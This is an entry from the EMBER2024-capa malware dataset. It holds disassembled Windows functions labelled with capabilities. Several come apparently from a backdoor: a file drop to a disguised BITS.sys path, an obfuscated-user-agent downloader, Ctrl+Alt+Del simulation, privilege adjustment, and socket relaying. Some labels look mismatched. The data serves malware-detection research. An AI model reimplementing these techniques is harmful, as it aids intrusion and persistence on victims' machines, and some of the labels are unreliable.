joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002adf0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x110
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
mov dword [esp + 0xc], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
mov dword [esp + 8], 0x50
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.Favorites
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x1012d1f4], eax
mov byte [eax], 0x94
lea eax, [esp + 0x10]
mov dword [0x10120130], 1
push eax
call fcn.1002ab10
mov ecx, dword [0x10120130]
mov edx, dword [0x1012d1f4]
add esp, 4
push 0x42
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [0x1012d1f4], eax
pop edi
add esp, 0x110
ret
Function at 0x1002bdb0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CreateEventA
push str.KERNEL32.dll
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0
push 0
push 0
push 0
call eax
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x34]
lea edx, [esp + 0xc]
push eax
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
push 0x1002bcb0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.WaitForSingleObject
push str.KERNEL32.DLL
mov ebx, eax
call esi
push eax
call edi
mov edx, dword [esp + 0x18]
push 0xffffffffffffffff
push edx
call eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x1002be50
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push esi
push edi
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x10]
mov dword [esp + 0xc], 0
push eax
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x1002bec6
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002bebf
mov edi, dword [esp + 0x138]
mov ebx, dword [sym.imp.MSVCRT.dll__stricmp]
lea ecx, [esp + 0x30]
push edi
push ecx
call ebx
add esp, 8
test eax, eax
je 0x1002bed2
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1002bea1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x128
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
add esp, 0x128
ret
Function at 0x1002c070
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x13c
push esi
push edi
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveBITS.sys
lea edi, [esp + 0x40]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, 0x37
lea edi, [esp + 0x6c]
push 0x80
push 4
push eax
rep stosd dword es:[edi], eax
push 2
lea eax, [esp + 0x54]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, dword [esp + 0x14c]
lea ecx, [esp + 8]
push 0
push ecx
push esi
mov edi, eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [str.TGByteSetup]
mov eax, dword [0x100fb06c]
mov ecx, dword [0x100fb070]
mov dword [esp + 0xc], edx
mov dl, byte [0x100fb074]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], dl
push 0
rep stosd dword es:[edi], eax
push esi
stosb byte es:[edi], al
call dword [0x1012d1f8]
push eax
push esi
push 1
lea eax, [esp + 0x1c]
push str.BITS
push eax
push reloc.WS2_32.dll_accept
call fcn.10014ca0
add esp, 0x1c
pop edi
pop esi
add esp, 0x13c
ret
Function at 0x1002c150
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Write file on windows

Disassembly:
sub esp, 0x430
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
xor ebx, ebx
mov dl, 0x69
mov al, 0x6c
mov cl, 0x61
push str.InternetOpenA
push str.wininet.dll
mov dword [esp + 0x34], ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x18], 0x4d
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1a], 0x7a
mov byte [esp + 0x1b], dl
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], 0x2f
mov byte [esp + 0x20], 0x34
mov byte [esp + 0x21], 0x2e
mov byte [esp + 0x22], 0x30
mov byte [esp + 0x23], 0x20
mov byte [esp + 0x24], 0x28
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x6d
mov byte [esp + 0x28], 0x70
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], 0x62
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0x29
mov byte [esp + 0x30], bl
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push ebx
push ebx
push ebx
lea ecx, [esp + 0x1c]
push ebx
push ecx
call eax
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x3c], edi
jne 0x1002c21c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x430
ret
push str.InternetCloseHandle
push str.wininet.dll
call esi
push eax
call ebp
push str.InternetOpenUrlA
push str.wininet.dll
mov dword [esp + 0x3c], eax
call esi
push eax
call ebp
mov edx, dword [esp + 0x444]
push ebx
push bind
push ebx
push ebx
push edx
push edi
call eax
mov ebx, eax
test ebx, ebx
jne 0x1002c269
push edi
call dword [esp + 0x38]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x430
ret
push str.CreateFileA
push str.KERNEL32.dll
call esi
push eax
call ebp
mov ecx, dword [esp + 0x448]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call eax
cmp eax, 0xffffffff
mov dword [esp + 0x30], eax
je 0x1002c2fb
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push str.WININET.dll
call esi
push eax
call ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x40]
push edx
push 0x400
push ecx
push ebx
call eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x38]
push 0
push edx
mov edx, dword [esp + 0x38]
lea ecx, [esp + 0x48]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x1002c29a
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x3c]
mov esi, dword [esp + 0x34]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x430
ret
Function at 0x1002c320
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1002c372
push esi
push 0x100
call sub.MFC42.DLL_operatornew
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x1002c500
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1002c54a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1002c54a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x1002c567
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1002c567
call fcn.1002c380
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1002c320
pop edi
pop esi
add esp, 0x9c
ret

Function at 0x1002c580
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.1002bfa0
add esp, 4
test eax, eax
jne 0x1002c5a3
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1002c5c7
push esi
call fcn.1002bef0
add esp, 4
mov eax, 1
pop esi
ret
Function at 0x1002c6a0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x1002c70e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x1002c765
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x1002c77d
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x1002c788
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret

Function at 0x1002c9d0
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x18]
push edi
push eax
xor edi, edi
push 0x8004667e
push ebx
mov dword [esp + 0x28], edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test esi, esi
jle 0x1002ca15
mov ebp, dword [esp + 0x18]
push 0
lea ecx, [edi + ebp]
push esi
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x1002ca15
sub esi, eax
add edi, eax
test esi, esi
jg 0x1002c9fb
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x1002ca20
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov eax, 0x2104
call fcn.1002d080
mov eax, dword [esp + 0x2108]
push ebx
push ebp
push esi
mov ebp, dword [eax]
mov ebx, dword [eax + 4]
push edi
mov ecx, 0x7ff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x1012f204]
test al, al
je 0x1002cb42
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 1
xor eax, eax
lea ecx, [esp + 0x14]
cmp dword [ecx], ebx
je 0x1002ca87
inc eax
add ecx, 4
cmp eax, 1
jb 0x1002ca7a
cmp eax, 1
jne 0x1002ca98
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], 2
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x1002cb42
lea ecx, [esp + 0x10]
push ecx
push ebp
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x1002caf4
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push ebp
call edi
mov esi, eax
test esi, esi
jle 0x1002cb42
lea eax, [esp + 0x114]
push esi
push eax
push ebx
call fcn.1002c9d0
add esp, 0xc
test eax, eax
je 0x1002cb42
cmp eax, esi
jne 0x1002cb42
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x1002cb35
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x1002cb42
lea eax, [esp + 0x114]
push esi
push eax
push ebp
call fcn.1002c9d0
add esp, 0xc
test eax, eax
je 0x1002cb42
cmp eax, esi
jne 0x1002cb42
mov al, byte [0x1012f204]
test al, al
jne 0x1002ca68
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push ebp
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2104
ret 4

Function at 0x1002cb60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1002cb7e
xor eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov word [esp + 8], 2
mov dword [esp + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1002cbbe
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x1002cc90
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
mov eax, 0x1038
call fcn.1002d080
push ebx
push ebp
push esi
push edi
mov ecx, 0x40c
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x44], 0xffffffff
mov dword [esp + 0x18], 0x100b7a10
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1054]
lea ecx, [esp + 0x1c]
push eax
push 0x100fbcd8
push 0x20
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, dword [esp + 0x1060]
mov ecx, dword [esp + 0x105c]
mov dx, word [esp + 0x1068]
push eax
push ecx
mov word [esp + 0x54], dx
call fcn.1002cbd0
mov edi, eax
add esp, 0x18
test edi, edi
jbe 0x1002cdb0
mov al, byte [0x1012f204]
mov dword [esp + 0x40], edi
test al, al
je 0x1002cdb0
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea edx, [esp + 0x16]
push 2
push edx
push edi
call ebx
test eax, eax
jle 0x1002cdb0
mov edx, dword [0x1012e200]
mov eax, dword [esp + 0x44]
inc edx
cmp eax, 0x800
mov dword [0x1012e200], edx
jge 0x1002cd5e
mov cx, word [esp + 0x12]
inc eax
mov dword [esp + 0x44], eax
mov word [esp + eax*2 + 0x48], cx
mov edx, dword [0x1012f208]
lea eax, [esp + 0x18]
inc edx
mov dword [0x1012f208], edx
lea edx, [esp + 0x14]
push edx
push 0
push eax
push 0x1002cbf0
push 0
push 0
call esi
mov ecx, dword [0x1012f208]
test eax, eax
mov dword [ecx*4 + 0x1012e204], eax
je 0x1002cd98
push eax
call ebp
jmp 0x1002cda3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x1012f204]
test al, al
jne 0x1002cd27
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1038
ret 0x10

Function at 0x1002cdd0
Capabilities:
Terminate thread

Disassembly:
sub esp, 0x80
mov byte [0x1012f204], 0
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1012e1fc]
test eax, eax
je 0x1002ce33
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [0x1012e1fc]
lea ecx, [esp + 8]
push eax
push str.nsocket_di:_d
push ecx
call esi
mov edx, dword [0x1012e1fc]
add esp, 0xc
mov eax, dword [edx*4 + 0x1012d1fc]
cmp eax, 0xffffffff
je 0x1002ce26
push eax
call edi
mov eax, dword [0x1012e1fc]
dec eax
mov dword [0x1012e1fc], eax
jne 0x1002cdfc
mov eax, dword [0x1012f208]
test eax, eax
je 0x1002ce72
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1012f208]
mov eax, dword [eax*4 + 0x1012e204]
cmp eax, 0xffffffff
je 0x1002ce65
push 0
push eax
call esi
push 0x1012e204
call edi
mov eax, dword [0x1012f208]
dec eax
mov dword [0x1012f208], eax
jne 0x1002ce48
pop edi
mov dword [0x1012f208], 0
mov dword [0x1012e1fc], 0
mov byte [0x1012f204], 1
pop esi
add esp, 0x80
ret
Function at 0x1002e1a0
Capabilities:
Query environment variable

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov dword [edi + 4], ebx
call fcn.10030240
push 0x54
push edi
mov dword [esp + 0x18], eax
call fcn.100301d0
mov esi, eax
add esp, 0xc
cmp esi, ebx
jne 0x1002e1e4
push edi
call fcn.1002c7f0
mov eax, dword [edi]
push edi
mov dword [eax + 0x14], 0x36
mov ecx, dword [edi]
mov dword [ecx + 0x18], ebx
mov edx, dword [edi]
call dword [edx]
add esp, 8
mov dword [esi], fcn.1002e2e0
mov dword [esi + 4], fcn.1002e460
mov dword [esi + 8], fcn.1002e550
mov dword [esi + 0xc], fcn.1002e620
mov dword [esi + 0x10], 0x1002e6d0
mov dword [esi + 0x14], 0x1002e740
mov dword [esi + 0x18], 0x1002e7b0
mov dword [esi + 0x1c], 0x1002e9b0
mov dword [esi + 0x20], 0x1002eba0
mov dword [esi + 0x24], fcn.1002ed90
mov dword [esi + 0x28], 0x1002ee90
mov dword [esi + 0x30], 0x3b9aca00
mov eax, dword [esp + 0xc]
mov ecx, 2
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x40]
mov dword [eax - 8], ebx
mov dword [eax], ebx
sub eax, 4
dec ecx
jne 0x1002e246
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], 0x54
push str.JPEGMEM
mov dword [edi + 4], esi
call sub.MSVCRT.dll_getenv
add esp, 4
cmp eax, ebx
je 0x1002e2d6
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push ecx
push edx
push str._ld_c
push eax
mov byte [esp + 0x24], 0x78
call sub.MSVCRT.dll_sscanf
add esp, 0x10
test eax, eax
jle 0x1002e2d6
mov al, byte [esp + 0x14]
cmp al, 0x6d
je 0x1002e29f
cmp al, 0x4d
jne 0x1002e2c3
mov eax, dword [esp + 0xc]
pop edi
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
mov dword [esi + 0x2c], eax
pop esi
pop ebx
pop ecx
ret
mov eax, dword [esp + 0xc]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x1003dca0
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x101218f4]
push esi
cmp eax, 0xffffffff
push edi
jne 0x1003dde0
call fcn.10042a80
push str.JSIMD_FORCEMMX
mov dword [0x101218f4], eax
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003dce4
mov esi, eax
mov edi, 0x100faf08
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003dce4
and dword [0x101218f4], 1
push str.JSIMD_FORCE3DNOW
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003dd0e
mov edi, 0x100faf08
mov esi, eax
mov ecx, 2
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003dd0e
and dword [0x101218f4], 3
push str.JSIMD_FORCESSE
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003dd38
mov esi, eax
mov edi, 0x100faf08
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003dd38
and dword [0x101218f4], 5
push str.JSIMD_FORCESSE2
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003dd62
mov edi, 0x100faf08
mov esi, eax
mov ecx, 2
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003dd62
and dword [0x101218f4], 8
push str.JSIMD_FORCEAVX2
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003dd8f
mov esi, eax
mov edi, 0x100faf08
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003dd8f
and dword [0x101218f4], 0x80
push str.JSIMD_FORCENONE
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003ddb8
mov edi, 0x100faf08
mov esi, eax
mov ecx, 2
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003ddb8
mov dword [0x101218f4], edx
push str.JSIMD_NOHUFFENC
call sub.MSVCRT.dll_getenv
add esp, 4
test eax, eax
je 0x1003dde0
mov esi, eax
mov edi, 0x100faf08
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x1003dde0
mov dword [0x101218f8], eax
pop edi
pop esi
ret
Function at 0x1005c8e0
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
push esi
mov esi, dword [esp + 0x2c]
cmp byte [esi + 2], 1
je 0x1005c8f8
mov eax, 0xfffffffc
pop esi
add esp, 0x24
ret
mov dword [esi + 4], 0x10305
mov dword [esi + 8], str.xvid_1.3.5
call fcn.1005c800
mov dword [esi + 0xc], eax
lea eax, [esp + 4]
push eax
mov dword [esi + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x18]
xor eax, eax
mov dword [esi + 0x10], ecx
pop esi
add esp, 0x24
ret

Function at 0x10074260
Capabilities:
Enumerate pe sections

Disassembly:
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
push edi
mov edi, 1
sub edi, edx
test eax, eax
jbe 0x1007434c
mov ecx, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x14]
xor edx, edx
xor ebx, ebx
mov dl, byte [ecx]
mov bl, byte [esi]
mov ebp, edi
add ebp, edx
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax], bl
mov dl, byte [ecx + 1]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 1]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 1], bl
mov dl, byte [ecx + 2]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 2]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 2], bl
mov dl, byte [ecx + 3]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 3]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 3], bl
mov dl, byte [ecx + 4]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 4]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 4], bl
mov dl, byte [ecx + 5]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 5]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 5], bl
mov dl, byte [ecx + 6]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 6]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 6], bl
mov dl, byte [ecx + 7]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 7]
mov edx, dword [esp + 0x20]
add ebx, ebp
add ecx, edx
sar ebx, 1
mov byte [eax + 7], bl
add eax, edx
add esi, edx
mov edx, dword [esp + 0x24]
dec edx
mov dword [esp + 0x24], edx
jne 0x1007428b
pop esi
pop ebp
pop ebx
pop edi
ret
Function at 0x10085da0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
lea eax, [eax + eax*2]
push ebp
xor ebp, ebp
push esi
lea eax, [eax + eax*4]
push edi
mov dword [esp + 0x10], ebp
lea ecx, [ecx + eax*2 + 0x20]
mov ax, word [edx]
imul ax, word [esp + 0x24]
cmp ax, 0xf800
mov word [ecx], ax
jge 0x10085dda
mov eax, 0xfffff800
jmp 0x10085dea
cmp ax, 0x7ff
jle 0x10085de7
mov eax, 0x7ff
jmp 0x10085dea
movsx eax, ax
mov edi, edx
mov word [ecx], ax
lea esi, [edx + 0x10]
lea eax, [ecx + 2]
sub edi, ecx
mov dword [esp + 0x20], esi
mov ecx, 7
mov bx, word [edi + eax]
add esi, 0x10
mov word [eax], bx
mov bx, word [esi - 0x10]
mov word [eax + 0xe], bx
add eax, 2
dec ecx
jne 0x10085e00
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov esi, 1
mov ax, word [edi]
sub word [edx], ax
mov eax, dword [esp + 0x1c]
cmp dword [ecx + eax*4 + 0xd4], esi
jne 0x10085e82
mov ebx, edx
lea esi, [edi + 2]
sub ebx, edi
mov edi, 7
mov cx, word [ebx + esi]
add esi, 2
movsx eax, cx
cdq
xor eax, edx
mov dword [esp + 0x18], ecx
sub cx, word [esi - 2]
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
mov word [esi - 2], cx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
dec edi
mov dword [esp + 0x10], edx
jne 0x10085e44
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
mov ebx, dword [esp + 0x20]
mov dx, word [ebx]
add ebx, 0x10
mov cx, dx
mov dword [esp + 0x18], edx
movsx eax, cx
sub cx, word [edi + esi*2]
cdq
xor eax, edx
mov word [edi + esi*2], cx
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
inc esi
cmp esi, 8
mov dword [esp + 0x10], edx
jb 0x10085e86
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret